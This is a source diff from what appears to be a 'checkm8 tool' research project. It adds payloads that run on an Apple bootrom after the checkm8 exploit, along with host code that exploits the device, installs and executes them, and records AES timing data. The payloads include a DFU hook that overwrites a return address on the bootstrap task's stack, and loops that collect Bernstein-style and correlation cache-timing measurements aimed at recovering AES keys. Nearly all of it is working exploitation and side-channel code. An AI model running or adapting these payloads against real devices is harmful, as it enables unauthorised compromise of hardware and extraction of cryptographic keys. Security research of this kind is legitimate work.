static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc cisw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
PAYLOAD_SECTION
static inline void clean_inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
#endif //CHECKM8_TOOL_DEV_CACHE_H

View File

@@ -0,0 +1,13 @@
#ifndef CHECKM8_TOOL_CRYPTO_H
#define CHECKM8_TOOL_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
#endif //CHECKM8_TOOL_CRYPTO_H

View File

@@ -0,0 +1,22 @@
#ifndef CHECKM8_TOOL_DEV_UTIL_H
#define CHECKM8_TOOL_DEV_UTIL_H
typedef void (*BOOTROM_FUNC_V)();
typedef int (*BOOTROM_FUNC_I)();
typedef unsigned long long (*BOOTROM_FUNC_ULL)();
typedef void (*(*BOOTROM_FUNC_PTR)());
typedef char int8_t;
typedef short int16_t;
typedef int int32_t;
typedef long long int64_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define PAYLOAD_DATA __attribute__ ((section (".payload_data")))
#endif //CHECKM8_TOOL_DEV_UTIL_H

View File

@@ -0,0 +1,22 @@
#include "bootrom_func.h"
PAYLOAD_SECTION
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
{
int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = src[j];
}
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
}
}
PAYLOAD_SECTION
void entry_async(uint64_t *base){}

View File

@@ -0,0 +1,83 @@
#include "bootrom_func.h"
#include "dev/types.h"
#include "dev_cache.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
struct aes_constants *c)
{
unsigned long long start = 0;
unsigned char key_sched[176];
expand_key(key, key_sched, 11, c);
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key, c);
return get_ticks() - start;
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i, j, iter_count = 0;
unsigned long long start = 0;
unsigned char msg_old[16];
unsigned char key_sched[176];
double timing;
// get initial params
unsigned char *msg = (unsigned char *) base[0];
unsigned int msg_len = (unsigned int) base[1];
unsigned char *key = (unsigned char *) base[2];
struct aes_constants *c = (struct aes_constants *) base[3];
expand_key(key, key_sched, 11, c);
// initialize events and buffers
struct bern_data *data = (struct bern_data *) base;
event_new(&data->ev_data, 1, 0);
event_new(&data->ev_done, 1, 0);
data->count = 0;
for(i = 0; i < 16; i++)
{
for(j = 0; j < 256; j++)
{
data->t[i][j] = 0;
data->tsq[i][j] = 0;
data->tnum[i][j] = 0;
}
}
while(1)
{
// randomly generate a new msg based on the old one
for(i = 0; i < 16; i++)
msg_old[i] = msg[i];
// encrypt it and measure time
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key_sched, c);
timing = (double) (get_ticks() - start);
// update counters
for(i = 0; i < 16; i++)
{
data->t[i][msg_old[i]] += timing;
data->tsq[i][msg_old[i]] += (timing * timing);
data->tnum[i][msg_old[i]] += 1;
data->count++;
data->ttotal += timing;
}
// check if host has requested data
iter_count++;
if(iter_count % 100000 == 0)
{
if(event_try(&data->ev_data, 1))
event_wait(&data->ev_done);
}
}
}

View File

@@ -0,0 +1,54 @@
#include "bootrom_func.h"
#include "dev_util.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
void entry_sync()
{
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i;
unsigned char key_sched[176];
unsigned long long start, timing;
unsigned char *key = (unsigned char *) base[0];
struct aes_constants *c = (struct aes_constants *) base[1];
struct corr_data *data = (struct corr_data *) base;
event_new(&data->ev_cont, 1, 0);
expand_key(key, key_sched, 11, c);
for(i = 0; i < 16; i++)
data->msg[i] = 0;
while(1)
{
// reset data state
data->num_cutoff = 0;
for(i = 0; i < N_CORR_ENTRIES; i++)
{
data->data[i] = 0;
}
// collect new data
i = 0;
while(i < N_CORR_ENTRIES)
{
start = get_ticks();
aes128_encrypt_ecb(data->msg, 16, key_sched, c);
timing = get_ticks() - start;
if(timing < 256)
data->data[i++] = (unsigned char) timing;
else
data->num_cutoff++;
}
event_wait(&data->ev_cont);
}
}

View File

@@ -0,0 +1,17 @@
.extern entry_sync
.extern entry_async
.extern load_sync_entry
.global _start
.section .text
_start:
mov x10, x30
bl load_sync_entry
mov x30, x10
# if we came from the synchronous entry point, branch to entry_sync
cmp x9, x10
b.eq entry_sync
# else branch to the payload's async entry points
b entry_async

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
#include "dev/addr.h"
PAYLOAD_SECTION
void load_sync_entry()
{
uint64_t addr = ADDR_SYNC_ENTRY;
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
}

View File

@@ -0,0 +1,187 @@
.global fs_routine
.global fs_load
# .global check_subnormal
.section .payload_text, "ax"
fs_load:
# load from memory
ldr s0, [x0]
mov v0.s[1], v0.s[0]
mov v0.s[2], v0.s[0]
mov v0.s[3], v0.s[0]
fmov s31, 1.0
ucvtf s30, w1
mov v1.s[3], v30.s[0]
fadd s30, s30, s31
mov v1.s[2], v30.s[0]
fadd s30, s30, s31
mov v1.s[1], v30.s[0]
fadd s30, s30, s31
mov v1.s[0], v30.s[0]
fadd s30, s30, s31
mov v2.s[3], v30.s[0]
fadd s30, s30, s31
mov v2.s[2], v30.s[0]
fadd s30, s30, s31
mov v2.s[1], v30.s[0]
fadd s30, s30, s31
mov v2.s[0], v30.s[0]
fadd s30, s30, s31
mov v3.s[3], v30.s[0]
fadd s30, s30, s31
mov v3.s[2], v30.s[0]
fadd s30, s30, s31
mov v3.s[1], v30.s[0]
fadd s30, s30, s31
mov v3.s[0], v30.s[0]
fadd s30, s30, s31
mov v4.s[3], v30.s[0]
fadd s30, s30, s31
mov v4.s[2], v30.s[0]
fadd s30, s30, s31
mov v4.s[1], v30.s[0]
fadd s30, s30, s31
mov v4.s[0], v30.s[0]
fadd s30, s30, s31
mov v5.s[3], v30.s[0]
fadd s30, s30, s31
mov v5.s[2], v30.s[0]
fadd s30, s30, s31
mov v5.s[1], v30.s[0]
fadd s30, s30, s31
mov v5.s[0], v30.s[0]
fadd s30, s30, s31
mov v6.s[3], v30.s[0]
fadd s30, s30, s31
mov v6.s[2], v30.s[0]
fadd s30, s30, s31
mov v6.s[1], v30.s[0]
fadd s30, s30, s31
mov v6.s[0], v30.s[0]
fadd s30, s30, s31
mov v7.s[3], v30.s[0]
fadd s30, s30, s31
mov v7.s[2], v30.s[0]
fadd s30, s30, s31
mov v7.s[1], v30.s[0]
fadd s30, s30, s31
mov v7.s[0], v30.s[0]
fadd s30, s30, s31
mov v8.s[3], v30.s[0]
fadd s30, s30, s31
mov v8.s[2], v30.s[0]
fadd s30, s30, s31
mov v8.s[1], v30.s[0]
fadd s30, s30, s31
mov v8.s[0], v30.s[0]
fadd s30, s30, s31
mov v9.s[3], v30.s[0]
fadd s30, s30, s31
mov v9.s[2], v30.s[0]
fadd s30, s30, s31
mov v9.s[1], v30.s[0]
fadd s30, s30, s31
mov v9.s[0], v30.s[0]
fadd s30, s30, s31
mov v10.s[3], v10.s[0]
fadd s30, s30, s31
mov v10.s[2], v10.s[0]
fadd s30, s30, s31
mov v10.s[1], v10.s[0]
fadd s30, s30, s31
mov v10.s[0], v30.s[0]
fadd s30, s30, s31
mov v11.s[3], v30.s[0]
fadd s30, s30, s31
mov v11.s[2], v30.s[0]
fadd s30, s30, s31
mov v11.s[1], v30.s[0]
fadd s30, s30, s31
mov v11.s[0], v30.s[0]
fadd s30, s30, s31
mov v12.s[3], v30.s[0]
fadd s30, s30, s31
mov v12.s[2], v30.s[0]
fadd s30, s30, s31
mov v12.s[1], v30.s[0]
fadd s30, s30, s31
mov v12.s[0], v30.s[0]
fadd s30, s30, s31
mov v13.s[3], v30.s[0]
fadd s30, s30, s31
mov v13.s[2], v30.s[0]
fadd s30, s30, s31
mov v13.s[1], v30.s[0]
fadd s30, s30, s31
mov v13.s[0], v30.s[0]
fadd s30, s30, s31
mov v14.s[3], v30.s[0]
fadd s30, s30, s31
mov v14.s[2], v30.s[0]
fadd s30, s30, s31
mov v14.s[1], v30.s[0]
fadd s30, s30, s31
mov v14.s[0], v30.s[0]
fadd s30, s30, s31
mov v15.s[3], v30.s[0]
fadd s30, s30, s31
mov v15.s[2], v30.s[0]
fadd s30, s30, s31
mov v15.s[1], v30.s[0]
fadd s30, s30, s31
mov v15.s[0], v30.s[0]
#mov s30, wzr
#mov s31, wzr
ret
fs_routine:
fdiv v16.4s, v0.4s, v1.4s
fdiv v17.4s, v0.4s, v2.4s
fdiv v18.4s, v0.4s, v3.4s
fdiv v19.4s, v0.4s, v4.4s
fdiv v20.4s, v0.4s, v5.4s
fdiv v21.4s, v0.4s, v6.4s
fdiv v22.4s, v0.4s, v7.4s
fdiv v23.4s, v0.4s, v8.4s
fdiv v24.4s, v0.4s, v9.4s
fdiv v25.4s, v0.4s, v10.4s
fdiv v26.4s, v0.4s, v11.4s
fdiv v27.4s, v0.4s, v12.4s
fdiv v28.4s, v0.4s, v13.4s
fdiv v29.4s, v0.4s, v14.4s
fdiv v30.4s, v0.4s, v15.4s
fdiv v16.4s, v16.4s, v15.4s
fdiv v17.4s, v17.4s, v14.4s
fdiv v18.4s, v18.4s, v13.4s
fdiv v19.4s, v19.4s, v12.4s
fdiv v20.4s, v20.4s, v11.4s
fdiv v21.4s, v21.4s, v10.4s
fdiv v22.4s, v22.4s, v9.4s
fdiv v23.4s, v23.4s, v8.4s
fdiv v24.4s, v24.4s, v7.4s
fdiv v25.4s, v25.4s, v6.4s
fdiv v26.4s, v26.4s, v5.4s
fdiv v27.4s, v27.4s, v4.4s
fdiv v28.4s, v28.4s, v3.4s
fdiv v29.4s, v29.4s, v2.4s
fdiv v30.4s, v30.4s, v1.4s
ret

View File

@@ -0,0 +1,60 @@
#include "bootrom_func.h"
extern uint64_t fs_routine(void);
extern uint64_t fs_load(float *dividend, int divisor_base);
// extern uint64_t check_subnormal();
//PAYLOAD_SECTION
//unsigned int is_subnormal(float val)
//{
// unsigned int bytes = *((unsigned int *) &val);
// bytes = bytes >> 23u;
//
// if(bytes & 0x7u)
// {
// return 0;
// }
// else return 1;
//}
PAYLOAD_SECTION
uint64_t floppysleep_iteration(float *init)
{
int i;
uint64_t start, end, report;
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
fs_load(init, 1);
for(i = 0; i < 128; i++) fs_routine();
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
if(2 * end - start - 64 > 0)
{
timer_register_int(2 * end - start - 64);
wfi();
}
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
return end - start;
}
PAYLOAD_SECTION
uint64_t entry_sync(float *init_ptr)
{
return floppysleep_iteration(init_ptr);
}
PAYLOAD_SECTION
void entry_async(uint64_t *args)
{
float *init_ptr = (float *) args[0];
args[0] = 0;
while(1)
{
floppysleep_iteration(init_ptr);
if(args[0] % 1000000 == 0) task_resched();
args[0]++;
}
}

View File

@@ -0,0 +1,33 @@
#include "bootrom_func.h"
#include "dev_cache.h"
PAYLOAD_SECTION
unsigned long long l1_experiment()
{
int i;
unsigned long long start, f;
volatile unsigned long long val = 0;
clean_inv_va((unsigned long long *) &val);
start = get_ticks();
for(i = 0; i < 10000000; i++)
{
val;
clean_inv_va((unsigned long long *) &val);
}
return get_ticks() - start;
}
PAYLOAD_SECTION
unsigned long long entry_sync()
{
return l1_experiment();
}
PAYLOAD_SECTION
void entry_async()
{
}

View File

@@ -0,0 +1,28 @@
#include "dev/addr.h"
#include "bootrom_func.h"
PAYLOAD_SECTION
void entry_sync(uint64_t addr_hook)
{
uint64_t *bs_task_sp = ((uint64_t *) ADDR_BOOTSTRAP_TASK + (0x128 / 8));
uint64_t *bs_task_stack = (uint64_t *) *bs_task_sp;
while(1)
{
if(*bs_task_stack == ADDR_GETDFU_EXIT)
{
*bs_task_stack = addr_hook;
break;
}
bs_task_stack++;
}
*(ADDR_DFU_RETVAL) = -1;
*(ADDR_DFU_STATUS) = 1;
event_notify((struct event *) ADDR_DFU_EVENT);
}
PAYLOAD_SECTION
void entry_async(){}

View File

@@ -0,0 +1,11 @@
void entry_sync()
{
}
void entry_async()
{
}

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
PAYLOAD_SECTION
void entry_sync()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}
PAYLOAD_SECTION
void entry_async(){}

View File

@@ -2,16 +2,19 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include "command.h"
#include "payload.h"
#include "usb_helpers.h"
#include "dev/types.h"
#include "util/experiments.h"
#include "util/host_crypto.h"
#ifdef CHECKM8_LOGGING
#include <stdarg.h>
#include <execinfo.h>
#include <dev/addr.h>
#endif
@@ -26,7 +29,7 @@ void checkm8_debug_indent(const char *format, ...)
}
va_list args;
va_start (args, format);
va_start(args, format);
vprintf(format, args);
va_end(args);
#endif
@@ -43,107 +46,142 @@ void checkm8_debug_block(const char *format, ...)
#endif
}
void write_aes_utils(struct pwned_device *dev)
void record_bern_data(struct bern_data *data)
{
unsigned char sbox[256] =
{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
int j, b;
double u[16][256];
double udev[16][256];
double taverage;
unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
FILE *outfile;
char linebuf[256];
unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
};
printf("have count %lli k\n", data->count / 16 / 100000);
taverage = data->ttotal / (double) data->count;
unsigned char mul3_lookup[256] =
{
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
struct dev_cmd_resp *resp;
resp = write_gadget(dev, 0x180154000, sbox, 256);
if(IS_CHECKM8_FAIL(resp->ret))
for(j = 0; j < 16; j++)
{
printf("failed to write sbox\n");
for(b = 0; b < 256; b++)
{
u[j][b] = data->t[j][b] / data->tnum[j][b];
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return;
}
free_dev_cmd_resp(resp);
resp = write_gadget(dev, 0x180154000 + 256, rc_lookup, 11);
if(IS_CHECKM8_FAIL(resp->ret))
for(j = 0; j < 16; j++)
{
printf("failed to write rc lookup\n");
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) data->tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}
void run_corr_exp(struct pwned_device *dev, char *fname)
{
int i, j, iter = 0;
char dat_fname[32];
FILE *outfile;
DEV_PTR_T addr_async_buf;
struct aes_constants *c = get_constants();
struct corr_data *data;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
sprintf(dat_fname, "KEY");
outfile = fopen(dat_fname, "w+");
if(outfile == NULL)
{
printf("failed to open key file\n");
return;
}
free_dev_cmd_resp(resp);
resp = write_gadget(dev, 0x180154000 + 256 + 16, mul2_lookup, 256);
if(IS_CHECKM8_FAIL(resp->ret))
srand(time(NULL));
for(i = 0; i < 16; i++)
{
printf("failed to write mul2 lookup\n");
return;
msg[i] = 0;
key[i] = random();
fprintf(outfile, "%02x", key[i]);
}
free_dev_cmd_resp(resp);
resp = write_gadget(dev, 0x180154000 + 512 + 16, mul3_lookup, 256);
if(IS_CHECKM8_FAIL(resp->ret))
fprintf(outfile, "\n");
fflush(outfile);
fclose(outfile);
expand_key(key, key_sched, 11, c);
addr_async_buf = setup_corr_exp(dev, key);
printf("got async buf ptr %llx\n", addr_async_buf);
if(addr_async_buf == DEV_PTR_NULL) return;
while(1)
{
printf("failed to write mul3 lookup\n");
return;
sprintf(dat_fname, "%s_%i.bin", fname, iter);
outfile = fopen(dat_fname, "wb+");
if(outfile == NULL)
{
printf("failed to open outfile\n");
return;
}
for(j = 0; j < 375; j++)
{
data = get_corr_exp_data(dev, addr_async_buf);
if(data->num_cutoff != 0)
printf("more than 0 entries were cutoff\n");
for(i = 0; i < N_CORR_ENTRIES; i++)
{
fwrite(msg, 1, sizeof(msg), outfile);
fwrite("\x00", 1, 1, outfile);
fwrite(&data->data[i], 1, 1, outfile);
fwrite("\x00\x00", 1, 2, outfile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
fflush(outfile);
for(i = 0; i < 16; i++)
{
if(msg[i] != data->msg[i])
{
printf("aes error! message mismatch\n");
free(data);
return;
}
}
free(data);
}
fclose(outfile);
iter++;
if(iter == 46) break;
}
}
int main()
{
struct dev_cmd_resp *resp;
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
@@ -151,90 +189,33 @@ int main()
return -1;
}
unsigned char key[16] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd,
0xef};
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
0xef};
open_device_session(dev);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return -1;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return -1;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM)))
{
printf("failed to install task sleep payload\n");
return -1;
}
resp = write_gadget(dev, 0x180152000, key, 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to write key to device\n");
return -1;
}
free_dev_cmd_resp(resp);
resp = write_gadget(dev, 0x180153000, data, 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to write aes data\n");
return -1;
}
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
return -1;
}
write_aes_utils(dev);
free_dev_cmd_resp(resp);
int i = 0;
while(1)
{
resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
0x180153000, 16, 0x180152000,
0x180154000, 0x180154000 + 256,
0x180154000 + 256 + 16, 0x180154000 + 512 + 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sw AES payload\n");
return -1;
}
printf("%i) op took %llu", i++, resp->retval);
free_dev_cmd_resp(resp);
resp = read_gadget(dev, 0x180153000, 16);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to read encrypted data from memory\n");
}
printf(" -> ");
for(int j = 0; j < 16; j++)
{
printf("%02x", resp->data[j]);
}
printf("\n");
free_dev_cmd_resp(resp);
usleep(1000000);
}
demote_device(dev);
fix_heap(dev);
usb_task_exit(dev);
close_device_session(dev);
// run_corr_exp(dev, "key00");
//
// uninstall_all_data(dev);
// uninstall_all_payloads(dev);
//
// // crash!
// execute_gadget(dev, 0, 0, 0);
free_device(dev);
return 0;
}

View File

@@ -1,7 +1,7 @@
#include "command.h"
#include "tool/command.h"
#include "checkm8.h"
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#include <stdlib.h>
#include <string.h>
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
